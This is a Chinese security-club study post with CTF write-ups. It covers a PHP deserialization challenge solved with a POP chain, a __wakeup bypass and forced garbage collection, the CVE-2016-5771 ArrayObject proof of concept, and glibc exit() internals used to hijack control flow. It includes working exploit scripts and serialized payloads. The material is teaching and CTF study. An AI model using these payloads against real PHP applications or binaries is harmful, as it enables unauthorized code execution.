皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~
-
2020级 AndyNoel | PHP垃圾回收器与反序列化的利用
-
题目源码
-
垃圾回收机制
-
触发垃圾回收
-
2020级 大能猫 | exit_hook(源码分析)
-
前言
-
原理分析
WEB
2020级 AndyNoel | PHP垃圾回收器与反序列化的利用
题目源码
来源于浙江省赛的一道题目
<?php
error_reporting(E_ALL);
ini_set('display_errors', true);
highlight_file(__FILE__);
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
public function __wakeup(){
$this->func = '';
die("Don't serialize me");
}
}
class Test{
public function getFlag(){
system("cat /flag");
}
public function __call($f,$p){
phpinfo();
}
public function __wakeup(){
echo "serialize me?";
}
}
class A{
public $a;
public function __get($p){//用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prodn";
}
return $this->a->$p();
}
}
class B{
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$o = unserialize($pop);
throw new Exception("no pop");
}
比较简单的反序列化,我都能看懂要干什么。。。
简单来说在类Fun中call_user_func函数调用getFlag,所以只需调用Fun里的__call
,而Fun中不存在的方法即可。可以看到类A中__get
方法中含有调用方法的语句。调用私有属性以及不存在的属性触发__get
方法。这里借助类B即可达到。
call_user_func
函数,第一个参数是函数名,后面的参数是此函数的参数。若调用的函数在类里,那么这个参数要用数组形式传递,第一个元素为类名,第二个元素为函数名。绕过__wakeup
修改属性个数即可,可能包含不可见字符,要编码。
EXP:
<?php
class Fun{
private $func;
public function __construct(){
$this->func = "Test::getFlag";
}
}
class Test{
public function getFlag(){
}
}
class A{
public $a;
}
class B{
public $p;
}
$Test = new Test;
$Fun = new Fun;
$a = new A;
$b = new B;
$a->a = $Fun;
$b->a = $a;
$r = serialize($b);
$r1 = str_replace('"Fun":1:','"Fun":2:',$r);
echo urlencode($r1);
垃圾回收机制
在预期解中我们的pop链是class B -> class A::__get -> class Fun::__call -> class Test::getFlag
,可是B里的__destruct()
没有主动触发。
❝
__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
❝
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
❝
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
在常规思路中destruct是隐式销毁触发的,那能不能利用显式销毁呢?
旧版本GC
在PHP5.3版本之前,垃圾回收机制采用的是简单的计数规则,没有专门的垃圾回收器的,只是简单的判断了一下变量的zval的refcount是否为0,是的话就释放否则不释放直至进程结束。
-
给每一个内存对象都分配一个计数器,当内存对象被变量引用时,计数器加一 -
当每个变量引用unset后,计数器减一 -
当计数器为0时,表明内存对象没有被使用,该内存对象进行销毁,垃圾回收
但是,如果内存对象本身被自己引用,就会出现一个问题:自己占一个,被引用后计数器再加一。引用撤掉后,计数器减一,只有计数器归零才能回收,但此时计数器是1,因此产生了内存泄漏。
新版本GC - zval结构体
zval ("Zend Value" 的缩写) 代表任意 PHP 值。所以它可能是所有 PHP 中最重要的结构,并且在使用 PHP 的时候,它也在进行大量工作。
refcount:多少个变量是一样的用了相同的值,这个数值就是多少。
is_ref:bool类型,当refcount大于2的时候,其中一个变量用了地址&的形式进行赋值,好了,它就变成1了。
举个例子:
<?php
$name = "111";
xdebug_debug_zval('name');
//(refcount=1, is_ref=0)string '111' (length=3)
增加一个数:
<?php
$name = "111";
$temp_name = $name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=0)string '111' (length=3)
引用赋值:
<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
//(refcount=2, is_ref=1)string '111' (length=3)
主动销毁变量:
<?php
$name = "111";
$temp_name = &$name;
xdebug_debug_zval('name');
unset($temp_name);
xdebug_debug_zval('name');
//name:
//(refcount=2, is_ref=1)string '111' (length=3)
//name:
//(refcount=1, is_ref=1)string '111' (length=3)
refcount计数减1,说明unset并非一定会释放内存,当有两个变量指向的时候,并非会释放变量占用的内存,只是refcount减1.
触发垃圾回收
该算法的实现可以在Zend/zend_gc.c
( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )中找到。每当zval被销毁时(例如:在该zval上调用unset时),垃圾回收算法会检查其是否为数组或对象。除了数组和对象外,所有其他原始数据类型都不能包含循环引用。这一检查过程通过调用gc_zval_possible_root
函数来实现。任何这种潜在的zval都被称为根(Root),并会被添加到一个名为gc_root_buffer
的列表中。
然后,将会重复上述步骤,直至满足下述条件之一:
-
gc_collect_cycles()
被手动调用( http://php.net/manual/de/function.gc-collect-cycles.php ); -
垃圾存储空间将满。这也就意味着,在根缓冲区的位置已经存储了10000个zval,并且即将添加新的根。这里的10000是由 Zend/zend_gc.c
( https://github.com/php/php-src/blob/PHP-5.6.0/Zend/zend_gc.c )头部中GC_ROOT_BUFFER_MAX_ENTRIES
所定义的默认限制。当出现第10001个zval时,将会再次调用gc_zval_possible_root
,这时将会再次执行对gc_collect_cycles
的调用以处理并刷新当前缓冲区,从而可以再次存储新的元素。
由于现实环境的种种限制,手动调用gc_collect_cycles()
并不现实。也就是说,我们要强行触发gc,要靠填满垃圾存储空间
反序列化
要知道,反序列化过程允许一遍又一遍地传递相同的索引,所以不断会填充内存空间。一旦重新使用数组索引,旧元素的引用计数器就会递减。在反序列化过程中将会调用zend_hash_update
,它将调用旧元素的析构函数(Destructor)。每当zval被销毁时,都会涉及到垃圾回收。这也就意味着,所有创建的数组都会开始填充垃圾缓冲区,直至超出其空间导致对gc_collect_cycles
的调用。
反序列化过程会跟踪所有未序列化的元素,以允许设置引用,因此反序列化期间所有元素的引用计数器值都大于完成后的值。而全部条目都存储在列表var_hash
中,一旦反序列化过程即将完成,就会破坏函数var_destroy
中的条目,所以针对每个在特定元素上的附加引用,我们必须让引用计数增加2,超出其内存空间,调用gc_collect_cycles
ArrayObject
// POC of the ArrayObject GC vulnerability
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);
// Result:
// string(4) "bbbb"
我们通常的期望是输出如下:
array(1) { // outer_array
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
array(2) { // inner_array
[1]=>
// Reference to inner_array
[2]=>
// Reference to outer_array
}
}
}
但实际上,一旦该示例执行,外部数组(由$outer_array
引用)将会被释放,并且zval将会被$filter2
的zval覆盖,导致没有输出"bbbb"。
ArrayObject的反序列化函数接受对另一个数组的引用,以用于初始化的目的。这也就意味着,一旦我们对一个ArrayObject进行反序列化后,就可以引用任何之前已经被反序列化过的数组。此外,这还将允许我们将整个哈希表中的所有条目递减两次。
-
得到一个应被释放的目标zval X; -
创建一个数组Y,其中包含几处对zval X的引用: array(ref_to_X, ref_to_X, […], ref_to_X)
; -
创建一个ArrayObject,它将使用数组Y的内容进行初始化,因此会返回一次由垃圾回收标记算法访问过的数组Y的所有子元素。
通过上述步骤,我们可以操纵标记算法,对数组Y中的所有引用实现两次访问。但是,在反序列化过程中创建引用将会导致引用计数器增加2,所以还要找到解决方案:
-
使用与步骤3相同的方法,额外再创建一个ArrayObject。
一旦标记算法访问第二个ArrayObject,它将开始对数组Y中的所有引用进行第三次递减。我们现在就有方法能够使引用计数器递减,可以将该方法用于对任意目标zval的引用计数器实现清零。
举个例子
<?php
highlight_file(__FILE__);
$flag ="flag{haihaihai}";
class A {
function __destruct() {
echo "successfuln";
echo $flag;
}
}
unserialize($_GET[1]);
throw new Exception('中途退出');
我们假如要执行__destruct方法,打印flag,就得绕过这个throw new Exception
。因为__destruct
方法是在该对象被回收时调用,而exception
会中断该进程对该对象的销毁。所以我们需要强制让php的GC(垃圾回收机制)去进行该对象的回收。
核心思想:反序列化一个数组,然后再利用第一个索引,来触发GC
简单来说,就是要实现:
$a=array();
$a[0]=new B();
$a[1]=new B();
.....
$b = unserialize($a);
那么我们构造的EXP:
class B{
function __construct(){
echo "AndyNoel";
}
}
echo serialize(array(new B, new B));
//a:2:{i:0;O:1:"B":0:{}i:1;O:1:"B":0:{}}
这样的话就能成功执行魔术方法了。
通俗易懂吧,那么让我们回到最开始的题目,怎么利用PHP垃圾回收机制呢?
其实看了上面这个例子,就很好构造了。
EXP:
<?php
class B{
public $p;
public function __construct(){
$this->a = new A();
}
}
class A{
public $a;
public function __construct(){
$this->a = new Fun();
}
}
class Fun{
private $func = 'call_user_func_array';
public function __construct()
{
$this->func ="Test::getFlag";
}
}
$c = array(new B, new B);
$a = serialize($c);
echo urlencode(str_replace('O:3:"Fun":1:','O:3:"Fun":2:',$a));
一样的原理,也是通过添加第一个索引达到触发GC的效果。
造成该漏洞的主要原因是ArrayObject缺少垃圾回收函数。该漏洞称为“双递减漏洞”,漏洞报告如下(CVE-2016-5771):https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5771 。
参考链接:https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/
PWN
2020级 大能猫 | exit_hook(源码分析)
前言
在进行堆漏洞的利用的时候,受到程序保护的影响会限制掉我们修改got,plt等一下表。为了绕过这样的保护我们只能够利用一些调用链上的修改劫持程序的执行流来达到我们想要的效果。hook就是一种我们可以利用的调用链上的东西,在平时我们利用malloc_hook、free_hook居多,本篇文章讲的是另一种hook的利用——exit_hook。总的来说就是更改exit某一结构体可以事项exit()函数的劫持。
原理分析
先进行exit函数源码的分析
首先我们需要先写一个测试程序来调试,结合源码来查看exit函数调用的流程
#include<stdio.h>
#include<stdlib.h>
int main()
{
puts('hahahahahahaha,xswl!');
exit(0);
return 0;
}//gcc demo.c -o dem
用gdb调试一下
单步调试,从一开始下断点的puts函数开始往下走
到了执行exit(0)的地方,我们si步入看看exit究竟是如何调用的。
首先我么先静态审一下exit函数的源码:我们看到执行exit()函数首先调用的是__run_exit_handlers,同样在源码中可以看到参数的类型也对应了在gdb中我们调试中显示的参数。
在源码中,我们可以找到函数__run_exit_handlers的相关定义,通过与上面调试来比对发现是status为0,run_list_atexit,run_dtors为ture。
由于run_dtors为ture,所以还会继续调用 __call_tls_dtors ()函数
在gdb调试的过程中也有所体现,si进入函数__run_exit_handlers后
找到__call_tls_dtors源码:
struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
static __thread struct dtor_list *tls_dtor_list;
static __thread void *dso_symbol_cache;
static __thread struct link_map *lm_cache;
___
、、、、
___
void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif
tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}
查看__call_tls_dtors源码,同时gdb跟进__call_tls_dtors。里面有一个dtor_list结构体定义的tls_dtor_list指针,__call_tls_dtors这个函数的作用就是遍历tls_dtor_list结构体链表,每次遍历都会用到tls_dtor_list里的func,将tls_dtor_list里的obj作为第一个参数,这里其实也可以进行利用,只要将tls_dtor_list覆盖成我们的堆地址,便可以控制调用函数和其参数。
我们在__run_exit_handlers
中找到了,三个关键函数的调用,源码如下:
在gdb中发现关键跳转
是调用了__dl_init函数,那么我们就查看下此函数的源码。
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
有两个关键call
__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));
github上面查到了__rtld_lock_unlock_recursive
的定义源码
再寻找GL定义
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
存在_rtld_local结构体,动调查看一下_rtld_local结构体
pwndbg> p _rtld_global
$1 = {
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe190,
_ns_nloaded = 4,
_ns_main_searchlist = 0x7ffff7ffe450,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = ' 00' <repeats 16 times>, " 01", ' 00' <repeats 22 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
}, {
_ns_loaded = 0x0,
_ns_nloaded = 0,
_ns_main_searchlist = 0x0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 0,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = ' 00' <repeats 39 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
} <repeats 15 times>},
_dl_nns = 1,
_dl_load_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = ' 00' <repeats 16 times>, " 01", ' 00' <repeats 22 times>,
__align = 0
}
},
_dl_load_write_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = ' 00' <repeats 16 times>, " 01", ' 00' <repeats 22 times>,
__align = 0
}
},
_dl_load_adds = 4,
_dl_initfirst = 0x0,
_dl_profile_map = 0x0,
_dl_num_relocations = 93,
_dl_num_cache_relocations = 3,
_dl_all_dirs = 0x7ffff7ffecd0,
_dl_rtld_map = {
l_addr = 140737353936896,
l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2",
l_ld = 0x7ffff7ffce68,
l_next = 0x0,
l_prev = 0x7ffff7fb3000,
l_real = 0x7ffff7ffd9e8 <_rtld_global+2440>,
l_ns = 0,
l_libname = 0x7ffff7ffe050,
l_info = {0x0, 0x0, 0x7ffff7ffcee8, 0x7ffff7ffced8, 0x7ffff7ffce78, 0x7ffff7ffce98, 0x7ffff7ffcea8, 0x7ffff7ffcf18, 0x7ffff7ffcf28, 0x7ffff7ffcf38, 0x7ffff7ffceb8, 0x7ffff7ffcec8, 0x0, 0x0, 0x7ffff7ffce68, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcef8, 0x0, 0x0, 0x7ffff7ffcf08, 0x0 <repeats 13 times>, 0x7ffff7ffcf58, 0x7ffff7ffcf48, 0x0, 0x0, 0x7ffff7ffcf78, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffcf68, 0x0 <repeats 25 times>, 0x7ffff7ffce88},
l_phdr = 0x7ffff7fcf040,
l_entry = 0,
l_phnum = 11,
l_ldnum = 0,
l_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_symbolic_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7ffff7fb3930,
l_nversions = 6,
l_nbuckets = 17,
l_gnu_bitmask_idxbits = 3,
l_gnu_shift = 8,
l_gnu_bitmask = 0x7ffff7fcf3d8,
{
l_gnu_buckets = 0x7ffff7fcf3f8,
l_chain = 0x7ffff7fcf3f8
},
{
l_gnu_chain_zero = 0x7ffff7fcf438,
l_buckets = 0x7ffff7fcf438
},
l_direct_opencount = 0,
l_type = lt_library,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,
l_nodelete_active = false,
l_nodelete_pending = false,
l_cet = lc_unknown,
l_rpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_reloc_result = 0x0,
l_versyms = 0x7ffff7fcfa14,
l_origin = 0x0,
l_map_start = 140737353936896,
l_map_end = 140737354129808,
l_text_end = 140737354081908,
l_scope_mem = {0x0, 0x0, 0x0, 0x0},
l_scope_max = 0,
l_scope = 0x0,
l_local_scope = {0x0, 0x0},
l_file_id = {
dev = 0,
ino = 0
},
l_runpath_dirs = {
dirs = 0x0,
malloced = 0
},
l_initfini = 0x0,
l_reldeps = 0x0,
l_reldepsmax = 0,
l_used = 1,
l_feature_1 = 0,
l_flags_1 = 0,
l_flags = 0,
l_idx = 0,
l_mach = {
plt = 0,
gotplt = 0,
tlsdesc_table = 0x0
},
l_lookup_cache = {
sym = 0x7ffff7fcf580,
type_class = 1,
value = 0x7ffff7fb3000,
ret = 0x7ffff7dc62d0
},
l_tls_initimage = 0x0,
l_tls_initimage_size = 0,
l_tls_blocksize = 0,
l_tls_align = 0,
l_tls_firstbyte_offset = 0,
l_tls_offset = 0,
l_tls_modid = 0,
l_tls_dtor_count = 0,
l_relro_addr = 185632,
l_relro_size = 2784,
l_serial = 0
},
_dl_rtld_auditstate = {{
cookie = 0,
bindflags = 0
} <repeats 16 times>},
_dl_rtld_lock_recursive = 0x7ffff7fd0150,
_dl_rtld_unlock_recursive = 0x7ffff7fd0160,
_dl_x86_feature_1 = {0, 0},
_dl_x86_legacy_bitmap = {0, 0},
_dl_make_stack_executable_hook = 0x7ffff7fe4130 <_dl_make_stack_executable>,
_dl_stack_flags = 6,
_dl_tls_dtv_gaps = false,
_dl_tls_max_dtv_idx = 1,
_dl_tls_dtv_slotinfo_list = 0x7ffff7fb39c0,
_dl_tls_static_nelem = 1,
_dl_tls_static_size = 4160,
_dl_tls_static_used = 144,
_dl_tls_static_align = 64,
_dl_initial_dtv = 0x7ffff7fb4e70,
_dl_tls_generation = 1,
_dl_init_static_tls = 0x7ffff7fdc850,
_dl_wait_lookup_done = 0x0,
_dl_scope_free_list = 0x0
}
找到函数存放位置,所以__rtld_lock_unlock_recursive
为_rtld_global
结构题的指针变量。在exit()中执行流程为
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于__rtld_lock_unlock_recursive
存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive
,就可以在调用exit()时劫持程序流。
_rtld_lock_lock_recursive
也是一样的流程。
原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 | 2022.03.17 PHP垃圾回收器与反序列化的利用 & exit_hook(源码分析)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论